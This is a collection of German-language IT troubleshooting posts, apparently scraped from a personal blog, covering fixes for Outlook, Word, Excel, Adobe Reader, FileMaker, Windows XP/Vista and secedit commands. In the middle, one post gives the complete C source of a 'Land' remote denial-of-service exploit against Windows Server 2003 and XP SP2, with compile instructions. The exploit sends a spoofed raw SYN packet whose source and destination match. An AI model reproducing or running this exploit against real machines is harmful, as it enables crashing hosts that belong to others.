Kalender aufmachen -> Ansicht -> Anordnen nach -> Aktuelle Ansicht -> Tages-/Wochen-/Monatsansicht
Problem gelößt
Kalender aufmachen -> Ansicht -> Anordnen nach -> Aktuelle Ansicht -> Tages-/Wochen-/Monatsansicht
Problem gelößt
Wenn Microsoft NetMeeting sich selbstständig deinstalliert hat, kann man es wie folgt wieder neu installieren:
Das Problem kann auch via RDP gelöst werden, hierzu muss einfach, dass eigene lokale CD Laufwerk beim Verbinden gemounted werden (mstsc starten -> Optionen aufmachen -> Lokale Resourcen -> Mehr… (bei Lokale Geräte und Resourcen) und hier das Laufwerk E: (CD Laufwerk) auswählen.
Sollte das Archiv leer sein beim öffnen an einem anderen Computer, liegt das eventuell daran das, dass Archiv möglicherweise über 2 GB hat.
Die Größe richtet sich nicht nach dem Speicherplatz auf der Festplatte, sondern muss direkt im Outlook -> Rechtsklick auf “Eigenschaften” vom Archiv und dann mit “Ordnergröße…” überprüft werden.
Sollte es über 2 GB sein, muss das Archiv auf jeden fall auf mehrere Archive aufgeteilt werden. (Datei -> Neu -> Outlook-Datendatei…)
Wenn im Outlook die Signatur nicht angezeigt wird, liegt das meistens am Word (Wenn dieser als Editor verwendet wird)
Fehlermeldung im Word: Microsoft Word hat ein Problem festgestellt und muss beendet werden.
Das Kernproblem liegt an der “normal.dot“, um diese neu erstellen zu lassen muss folgender Ordner gelöscht oder umbenannt werden:
C:\Documents and Settings\USER\Application Data\Microsoft\Templates
Sollten immer noch Probleme auftauchen, ist es empfehlenswert alle Microsoft Office Ordner umzubenennen oder zu löschen
C:\Documents and Settings\USER\Application Data\Microsoft\Outlook
C:\Documents and Settings\USER\Application Data\Microsoft\Office
C:\Documents and Settings\USER\Local Settings\Application Data\Microsoft\Outlook
C:\Documents and Settings\USER\Local Settings\Application Data\Microsoft\Office
Auch ist es empfehlenswert vorhandene Regedit-Keys zu löschen:
HKEY_CURRENT_USER\Software\Microsoft\Office
oder alternativ folgenden RegKey-Eintrag (Ist der gleiche):
HKEY_USERS\S-1-5-21-SIDdesUsers…\Software\Microsoft\Office
Danach sollten alle Office Probleme behoben sein.
Sollte eines Tages die Menüleiste oder Symbolleiste in eurem Excel verschwunden sein, dann müsst Ihr die Excel11.xlb löschen. Die Excel11.xlb befindet sich unter: C:\Documents and Settings\%Username%\Application Data\Microsoft\Excel
Danach Excel neu starten, die Menü- /Symbolleiste sollte jetzt wieder da sein
Wenn der Active Desktop angezeigt wird (Weißer Hintergrund am Desktop) dann müssen folgende Schritte durchgeführt werden um das Problem zu lösen:
1. Start -> cmd -> regedit
2. HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\SafeMode\Components öffnen.
3. Den Wert bei “DeskHtmlVersion” von 272 auf 0 setzen (In Hex 110)
Fehlermeldung:
The Application is being terminated because of memory corruption.
Lösung:
Den Ordner “C:\Documents and Settings\%username%\Application Data\Adobe\Acrobat\7.0\” löschen.
Bitte beachten das “7.0″ mit der Versionsnummer vom Adobe Reader ersetzt werden muss.
Sollte es im Microsoft Outlook nicht mehr möglich sein Kalendereinträge zu löschen. Einfach mal folgendes Probieren:
1. Outlook schließen
2. Die Datei “C:\Documents and Settings\%User%\Local Settings\Application Data\Microsoft\FORMS\FRMCACHE.DAT” löschen.
3. Outlook starten
Das Problem sollte nun gelößt sein.
Sollten die Vorlagen im Microsoft PowerPoint nicht mehr vorhanden sein, dann einfach mal Microsoft Word starten und im folgendem Menü die Arbeitsgruppenvorlagen überprüfen.
“Extras -> Optionen… -> Speicherort für Dateien”
Hier muss der Richtige Pfad bei Arbeitsgruppenvorlagen gesetzt sein.
Hier gibt es 3 Möglichkeiten das Problem zu lösen:
1. Möglichkeit:
Alle Fenster – bis auf die xxx.xls – schließen.
Danach xxx.xls über das Menü “Fenster – Ausblenden” und Excel beenden.
Nach einem Neustart von Excel sollte die xxx.xls ausgeblendet gestartet werden.
2. Möglichkeit:
Überprüfen ob unter “Extras -> Optionen… -> Allgemein” das Feld “Beim Start alle Dateien in diesem Ordner laden:” leer ist.
3. Möglichkeit:
Den Ordner “C:\Documents and Settings\USERNAME\Application Data\Microsoft\Excel” löschen.
Fehlermeldung: FileMaker kann nicht als Host oder Client einer Datei dienen, da der Netzwerkstapel nicht initialisiert werden konnte.
Lösung: Das Problem liegt an der root.pem & server.pem, diese müssen neu erstellt werden. Leider hat bei mir auch keine neu installation von FileMaker geholfen. Ich konnte aber Glücklicherweise die beiden Dateien von einem funktionierenden Rechner kopieren ( Sie liegen in C:/Programme/FileMaker/FileMaker Pro 8 )
Fehlermeldung:
winlogon.exe – Komponente nicht gefunden
Die Anwendung konnte nicht gestartet werden, weil XmlLite.dll nicht gefunden wurde. Neuinstallation der Anwendung könnt das Problem beheben.
Sollte also euer Windows XP mal die XmlLite.dll aus irgendeinem Grund verlieren, stelle ich sie euch sie euch hier zum download bereit:
xmllite.zip
Sicherheitshalber schreibe ich euch noch meine System-Informationen:
Windows XP Professional mit Service Pack 3 (Deutsch)
Fehlermeldung(en):
Der Text für die automatische Antwort kann nicht angezeigt werden. Ein Client-Vorgang ist fehlgeschlagen.
oder
Der Befehl steht nicht zur Verfügung. Sehen Sie in der Programmdokumentation nach, wie diese Erweiterung verwendet wird.
oder
Der Text für die automatische Antwort kann nicht angezeigt werden. Ein Client-Vorgang ist fehlgeschlagen.
Dies ist seitens Microsoft ein “known-issue” und kann wie folgt behoben werden:
Regedit starten
HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Resiliency löschen
oder
HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Resiliency löschen
sollte das nicht helfen gibts noch eine andere möglichkeit die man ausprobieren kann:
Outlook beenden – Start -> Ausführen – “Outlook /CleanRules” eingeben.
UND sollte dies auch nicht helfen, einfach mal Outlook reparieren
Vorwort: Es handelt sich hierbei um eine ORIGINALE Vista Enterprise (Englisch) Lizenz.
Allllsoooooo, eines Tages bekam ich folgende Fehlermeldung:
den ersten Fehler den ich feststellen musste ist das ich dadurch das ich den Firefox als Standardbrowser definiert hatte, dadurch konnte ich den Link “Learn more online” nicht öffnen.
Durch ein bisschen Trixen habe ich ein Explorer-Fenster starten können, wodurch ich dann den Internet Explorer starten konnte und die Gültigkeitsprüfung durchführen könnte.
Doch komischerweise meint diese Überprüfung, dass ich Angeblich ein Schadprogramm oder ähnliches installiert hätte. Das konnte aber gar nicht sein weil das normale starten ohne VMware Fusion funktionierte.
Nun gut ich dachte mir nichts dabei und startete die Überprüfung erneut. Dann *BÄNG* *BOOM* BLUESCREEN REFERENCE_BY_POINTER
Da es nur eine Boot Camp Partition war, und es für mich nicht besonder schlimm oder ausergewöhnlich ist das Windows ab und zu mal meint nichtmehr zu funktionieren, störte mich das neu aufsetzen nicht
Sollte man jetzt aber einen richtigen PC haben und diesen Fehler bekommen ist man eigl. aufgeschmissen, da Vista denkt das man nicht das Original besitzt, obwohl es eigentlich ein Original ist. *Confused*
Fazit: Windows XP läuft besser und stabiler als Vista. Aber immernoch nicht stabiler als….
ein Mac/Linux Betriebsystem…!
Es kann vorkommen das unter Windows man einen belibilgen Order nicht löschen kann. Es erscheint die Meldung, der Ordner befände sich nicht mehr am angegebenen Ort: “Element wurde nicht gefunden”.
Lösung:
Hier ist es ratsam den Ordner mitels DOS-Command zu löschen.
Man muss wie folgt vorgehen:
Start -> Ausführen… -> cmd -> “cd\” eigeben (Ohne Anführungsstiche) -> “rd ordner.old /s” eingeben (Ohne Anführungsstiche). -> Dann mit der Taste “J” die Eingabe bestätigen.
Hi Leute ich hab mal den Land angriff compiliert für Linux.
Is gar nicht so schwer wie es aussieht.
Alles was wir machen müssen ist diese zeile #define _BSD_SOURCE über Include setzten.
Und fertig is unser Land Exploit, jetzt nur noch mit gcc exploit.c –o land compilieren.
#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
/*
Windows Server 2003 and XP SP2 remote DoS exploit
Tested under OpenBSD 3.6 at WinXP SP 2
Vuln by Dejan Levaja <dejan_@_levaja.com>
(c)oded by __blf 2005 RusH Security Team , http://rst.void.ru
Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor
Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy
All rights reserved.
*/
//checksum function by r0ach
u_short checksum (u_short *addr, int len)
{
u_short *w = addr;
int i = len;
int sum = 0;
u_short answer;
while (i > 0)
{
sum += *w++;
i-=2;
}
if (i == 1) sum += *(u_char *)w;
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
return (~sum);
}
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct _pseudoheader {
struct in_addr source_addr;
struct in_addr destination_addr;
u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
struct ip * iph;
struct tcphdr * tcph;
int mysock;
u_char * packet;
u_char * pseudopacket;
int on = 1;
if( argc != 3)
{
fprintf(stderr, “r57windos.c by __blf\n”);
fprintf(stderr, “RusH Security Team\n”);
fprintf(stderr, “Usage: %s <dest ip> <dest port>\n”, argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
{
perror(“malloc()\n”);
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[1], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(atoi(argv[2]));
tcph->th_dport = htons(atoi(argv[2]));
tcph->th_seq = ntohl(rand());
tcph->th_ack = rand();
tcph->th_off = 5;
tcph->th_flags = TH_SYN; // setting up TCP SYN flag here
tcph->th_win = htons(512);
tcph->th_sum = 0;
tcph->th_urp = 0;
pseudoheader.source_addr = src;
pseudoheader.destination_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr));
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
{
perror(“malloc()\n”);
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror(“socket!\n”);
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror(“setsockopt”);
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(80);
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0,
(struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror(“sendto()\n”);
shutdown(mysock, 2);
return EX_OSERR;
}
printf(“Packet sent. Remote machine should be down.\n”);
shutdown(mysock, 2);
return EX_OK;
}
Problem: Man klickt auf einer Webseite ein eMail Link an (mailto:) und es wird nicht Outlook geöffnet um eine eMail an diese Adresse zu schreiben sondern es kommt ein PopUp mit der Fehlermeldung “Das Element kann nicht gefunden werden”.
Lösung:
1. Outlook schliessen.
2. Die “FRMCHACHE.DAT” im Ordner “C:\Dokumente und Einstellungen\%user%\Lokale Einstellungen\Anwendungsdaten\Microsoft\FORMS\“
Sollten unter Windows Netzwerklaufwerke fehlen, führt man ja den command gpupdate /sync oder /force aus.
Es kann sein das die Fehlermeldung “Failid to set the policy mode. Error – Access is denied. Exiting…” kommt. D.h. das, dass Computerkonto kaputt ist. (Siehe Screenshot)
Lösung: Rechner aus der domain nehmen, Computerkonto löschen, Rechner in die Domäne hängen und in den richtigen ADS Container verschieben.
Problem: Sobald man ein Image erstellen möchte von einem Computer und den PC vorher nicht aus der Domäne genommen hat, kann es dann vorkommen sobald man ein Rechner mit dem Image aufsetzt, keine Treiber oder ähnliches installieren kann. Dann hilft nur noch dieser Befehl:
Zurücksetzen des kompletten Systems (Dateisystem, Registry, Benutzerberechtigungen) auf Urzustand, nach Setup
secedit /configure /db %temp%\temp.sdb /cfg “%systemroot%\security\templates\setup security.inf”
sollte dieser nicht funktionieren einfach:
secedit /configure /DB secedit.sdb /CFG C:\windowst\inf\defltwk.inf
ausprobieren.
Zurücksetzen der Default NTFS Berechtigungen auf dem Systemlaufwerk auf die Ursprungswerte des Setups. Kann auch benutzt werden, um eine nachträglich von FAT32 zu NTFS konvertierte Partition mit den passenden Sicherheitseinstellungen auszustatten.
für eine XP Workstation:
secedit /configure /db %temp%\temp.sdb /cfg %systemroot%\inf\defltwk.inf /areas filestore
für einen 2003 Server, dort ändert sich der letzte Namensanteil der Sicherheitsvorlage (*sv.inf anstelle von *wk.inf):
secedit /configure /db %temp%\temp.sdb /cfg %systemroot%\inf\defltsv.inf /areas filestore
Erklärungshinweise zum oberen Befehl:
-
secedit ist der MS eigene Security Editor, der dir es ermöglicht Berechtigungen zu überprüfen und u.A. anhand von definierten Vorlagen zu vergleichen, bzw. auch diese Vorlagen anzuwenden.
-
/configure – die Anweisung dessen, was zu tun ist => “Konfigurieren” … und nicht vergleichen oder anderes …
-
/db braucht man, um den aktuellen Zustand in eine Datenbank zu schreiben, damit das System weiß wo Änderungen zu erfolgen haben. Zuerst wird eine Analyse des IST-Zustandes durchgeführt, erst danach kommt die Konfiguration.
- temp.mdb inkl. Pfad der Dateiname und Speicherpfad der mit /db angegebenen Datenbank … könnte auch c:\irgendeinVerzeichnis\Dieter.mdb sein
- die defltwk.inf ist die “Default Workstation Informationsdatei” Während der Installation eines Systems muss die Setup Routine ja wissen, welche Berechtigungen auf welche Datei und/oder der Registry geschrieben werden müssen. Diese Informationen bekommt das Setup aus der defltwk.inf
- /areas, jetzt geht es nur noch um welchen Bereich der Berechtigungen die neu gesetzt werden sollen. In diesem Fall “filestore”… der Dateibereich.
Weitere Optionen für den Bereich AREA:
SECURITYPOLICY Umfasst Kontorichtlinien, Überwachungsrichtlinien, Ereignisprotokolleinstellungen und Sicherheitsoptionen.
GROUP_MGMT Umfasst Einstellungen für eingeschränkte Gruppen
USER_RIGHTS Umfasst Zuweisungen von Benutzerrechten
REGKEYS Umfasst Berechtigungen in der Registrierung
FILESTORE Umfasst Berechtigungen im Dateisystem
SERVICES Umfasst Einstellungen für Systemdienste
Aktualisierung und erneute Anwendung der aktuellen Sicherheits- und Gruppenrichtlinien:
2K/Benutzer: secedit /refreshpolicy user_policy /enforce
2K/Computer: secedit /refreshpolicy machine_policy /enforce
XP/Benutzer: gpupdate /target:user /force /wait:0
XP/Computer: gpupdate /target:computer /force /wait:0
Hauptsyntax und Möglichkeiten die secedit bietet.
secedit /analyze – reine Analyse des aktuellen System. Vergleich mit definierten Vorlagen um Unterschiede herauszufiltern, z.B.: Vergleich mit der hisecsv.inf, an welchen Stellen weiche meine Konfiguration von der „sicheren“ vordefinierten ab und wie, bzw. wo sollte ich evtl. noch verschärfte Einstellungen vornehmen.
secedit /configure – wie oben in den Beispielen gezeigt, Anwendung und Einsatz eines vorhandenen Templates.
secedit /export – Export der aktuellen Einstellungen. Damit die Möglichkeit diese Konfiguration auf einen anderen System via /import wieder zu implementieren
secedit /import – siehe Export
secedit /validate – Überprüfung der Syntax eines Security Templates
secedit /GenerateRollback – erst ab Windows XP/2003, Erstellung eines „Rollbacks“, wenn man so will ein Backup der aktuellen Einstellungen und die Möglichkeit nach Änderungen diese wieder zurückzusetzen
secedit /refreshpolicy – Anwendung der aktuellen Sicherheits- und Gruppenrichtlinien Benutzer- oder Computerbezogen. Ist in Windows XP/2003 durch gpupdate ersetzt worden.
Hilfe und weitere Syntax und Beispiele über secedit /? In der internen Hilfe des Systems.
Windows 2000: ms-its:C:\WINNT\Help\secedit.chm::/sag_SECEDITHowToTN.htm
Windows 2003: ms-its:C:\WINDOWS\Help\ntcmds.chm::/secedit_cmds.htm
Fehler:
Anwender von Outlook erhalten folgende Fehlermeldung wenn er ein auf dem Exchange Server hinterlegtes Formular mit Outlook 2000 öffnen/bearbeiten will:
“Das von Ihnen ausgewählte Formular konnte nicht angezeigt werden. Beim Registrieren des Formulars in der OLE-Registrierung ist ein Fehler aufgetreten.”
Ursache: Fehler in Outlook / Default User hat Fehler in Profil
Lösung:
1. als (lokaler) Administrator anmelden
2. suchen nach Dateien mit dem Namen “FRMCACHE.DAT” und
“USRCLASS.DAT“. Darauf achten, dass alle Dateien – auch versteckte und System-Dateien – sichtbar sind
3. “FRMCACHE.DAT” und “USRCLASS.DAT” jeweils umbenennen auf “FRMCACHE.OLD” bzw. “USRCLASS.OLD”
4. Anschließend kann sich der Benutzer wieder anmelden.
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